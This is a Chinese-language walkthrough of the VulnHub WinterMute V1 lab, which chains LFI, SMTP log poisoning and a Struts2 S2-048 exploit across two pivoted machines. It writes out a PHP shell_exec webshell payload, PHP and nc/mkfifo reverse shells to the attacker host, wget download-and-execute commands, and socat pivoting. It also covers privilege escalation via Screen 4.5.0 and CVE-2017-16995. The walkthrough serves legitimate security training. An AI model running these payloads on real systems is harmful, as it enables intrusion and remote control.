VulnHub-WinterMute-V1-靶机渗透学习
字数 1596 2025-08-15 21:33:12

VulnHub WinterMute V1 靶机渗透教学文档

靶机概述

  • 靶机名称: WinterMute V1
  • 难度等级: 中级(CTF)
  • 主题: 赛博朋克经典Neuromancer
  • 包含机器: 2台(Straylight和Neuromancer)
  • 特点: 涉及数据透视和后期开发
  • 要求: 仅使用默认Kali Linux工具,无缓冲区溢出利用
  • 环境要求: VirtualBox(VMware不兼容)

网络拓扑

  • Kali Linux: 192.168.56.3
  • Straylight:
    • 公共网络: 192.168.56.8
    • 内部网络: 10.0.2.10
  • Neuromancer: 10.0.2.8(仅内部网络)

Straylight靶机渗透

1. 信息收集

使用nmap扫描发现开放端口:

  • 25 (smtp)
  • 80 (http)
  • 3000 (Apache Hadoop)

2. Web服务枚举

80端口:

  • 发现新加载的JS文件
  • 使用dirb和nikto扫描发现目录:
    • /manual/images/
    • /manual/style/

3000端口:

  • 运行ntopng服务
  • 发现反射型XSS漏洞(但无法直接获取shell)
  • 发现flag敏感字眼提示
  • 使用admin/admin弱口令登录成功

3. 漏洞利用

LFI漏洞发现:

  • 访问/turing-bolo/目录
  • 发现bolo参数存在本地文件包含漏洞:
    http://192.168.56.4/turing-bolo/bolo.php?bolo=../turing-bolo/molly
    
  • 默认添加.log后缀,只能访问日志文件

利用SMTP服务:

  1. 构造恶意邮件:

    HELO ROOT
    MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']); ?>"
    RCPT TO: ROOT
    data
    .
    
  2. 通过LFI执行命令:

    http://192.168.56.8/turing-bolo/bolo.php?bolo=var/log/mail&cmd=ls
    
  3. 获取交互式shell:

    • 使用PHP反弹shell:
      php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
      
    • URL编码后通过cmd参数执行

4. 权限提升

Screen 4.5.0提权:

  1. 查找SUID文件:

    find / -perm -4000 2>/dev/null
    
  2. 发现screen-4.5.0存在漏洞

  3. 编译并执行提权EXP:

    • 上传编译好的EXP文件
    • 执行获得root权限

获取flag:

  • 在root目录下找到flag.txt
  • 发现note.txt提示:/struts2_2.3.15.1-showcase

Neuromancer靶机渗透

1. 信息收集

IP发现:

  • 使用ping扫描内部网络(10.0.2.0/24):
    for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i"; fi ; done
    
  • 确认Neuromancer IP: 10.0.2.8

端口扫描:

  • 使用nc扫描:
    nc -v -z -w2 10.0.2.8 1-65535
    
  • 发现开放端口: 8080, 8009, 34483(ssh)

2. 端口重定向

使用socat建立端口转发:

socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &

3. Struts2 S2-048漏洞利用

  1. 访问/struts2_2.3.15.1-showcase目录
  2. 使用公开EXP(42324)进行攻击

建立反弹shell通道:

  1. Kali监听6666端口

  2. Straylight建立转发:

    socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 &
    
  3. 上传反弹shell脚本:

    rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f
    
  4. 通过漏洞执行命令:

    python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.8:6666/shell.sh -O /tmp/shell1.sh"
    python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell1.sh"
    python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell1.sh"
    

4. 权限提升

Ubuntu 16.04.4内核提权(CVE-2017-16995):

  1. 确认系统版本
  2. 在Kali上编译好EXP
  3. 通过socat 443端口提供下载
  4. 在Neuromancer上下载并执行EXP
  5. 获得root权限

技术总结

  1. Straylight渗透路径:

    • Web弱口令 → LFI漏洞 → SMTP日志注入 → PHP webshell → Screen提权
  2. Neuromancer渗透路径:

    • 端口转发 → Struts2 RCE → 反弹shell → 内核提权
  3. 关键技术点:

    • 本地文件包含漏洞利用
    • 服务日志注入技术
    • 内部网络端口转发(socat)
    • Struts2远程代码执行
    • 多种提权方法(Screen SUID/内核漏洞)
  4. 学习要点:

    • 信息收集的全面性
    • 漏洞链的组合利用
    • 内部网络穿透技术
    • 多种提权方法的掌握

防御建议

  1. 及时更新服务和系统补丁
  2. 禁用不必要的服务和功能
  3. 实施严格的输入验证
  4. 使用最小权限原则
  5. 监控系统日志和异常行为
  6. 隔离内部网络与公共网络
VulnHub WinterMute V1 靶机渗透教学文档 靶机概述 靶机名称 : WinterMute V1 难度等级 : 中级(CTF) 主题 : 赛博朋克经典Neuromancer 包含机器 : 2台(Straylight和Neuromancer) 特点 : 涉及数据透视和后期开发 要求 : 仅使用默认Kali Linux工具,无缓冲区溢出利用 环境要求 : VirtualBox(VMware不兼容) 网络拓扑 Kali Linux : 192.168.56.3 Straylight : 公共网络: 192.168.56.8 内部网络: 10.0.2.10 Neuromancer : 10.0.2.8(仅内部网络) Straylight靶机渗透 1. 信息收集 使用nmap扫描发现开放端口: 25 (smtp) 80 (http) 3000 (Apache Hadoop) 2. Web服务枚举 80端口 : 发现新加载的JS文件 使用dirb和nikto扫描发现目录: /manual/images/ /manual/style/ 3000端口 : 运行ntopng服务 发现反射型XSS漏洞(但无法直接获取shell) 发现flag敏感字眼提示 使用admin/admin弱口令登录成功 3. 漏洞利用 LFI漏洞发现 : 访问/turing-bolo/目录 发现bolo参数存在本地文件包含漏洞: 默认添加.log后缀,只能访问日志文件 利用SMTP服务 : 构造恶意邮件: 通过LFI执行命令: 获取交互式shell: 使用PHP反弹shell: URL编码后通过cmd参数执行 4. 权限提升 Screen 4.5.0提权 : 查找SUID文件: 发现screen-4.5.0存在漏洞 编译并执行提权EXP: 上传编译好的EXP文件 执行获得root权限 获取flag : 在root目录下找到flag.txt 发现note.txt提示:/struts2_ 2.3.15.1-showcase Neuromancer靶机渗透 1. 信息收集 IP发现 : 使用ping扫描内部网络(10.0.2.0/24): 确认Neuromancer IP: 10.0.2.8 端口扫描 : 使用nc扫描: 发现开放端口: 8080, 8009, 34483(ssh) 2. 端口重定向 使用socat建立端口转发: 3. Struts2 S2-048漏洞利用 访问/struts2_ 2.3.15.1-showcase目录 使用公开EXP(42324)进行攻击 建立反弹shell通道 : Kali监听6666端口 Straylight建立转发: 上传反弹shell脚本: 通过漏洞执行命令: 4. 权限提升 Ubuntu 16.04.4内核提权(CVE-2017-16995) : 确认系统版本 在Kali上编译好EXP 通过socat 443端口提供下载 在Neuromancer上下载并执行EXP 获得root权限 技术总结 Straylight渗透路径 : Web弱口令 → LFI漏洞 → SMTP日志注入 → PHP webshell → Screen提权 Neuromancer渗透路径 : 端口转发 → Struts2 RCE → 反弹shell → 内核提权 关键技术点 : 本地文件包含漏洞利用 服务日志注入技术 内部网络端口转发(socat) Struts2远程代码执行 多种提权方法(Screen SUID/内核漏洞) 学习要点 : 信息收集的全面性 漏洞链的组合利用 内部网络穿透技术 多种提权方法的掌握 防御建议 及时更新服务和系统补丁 禁用不必要的服务和功能 实施严格的输入验证 使用最小权限原则 监控系统日志和异常行为 隔离内部网络与公共网络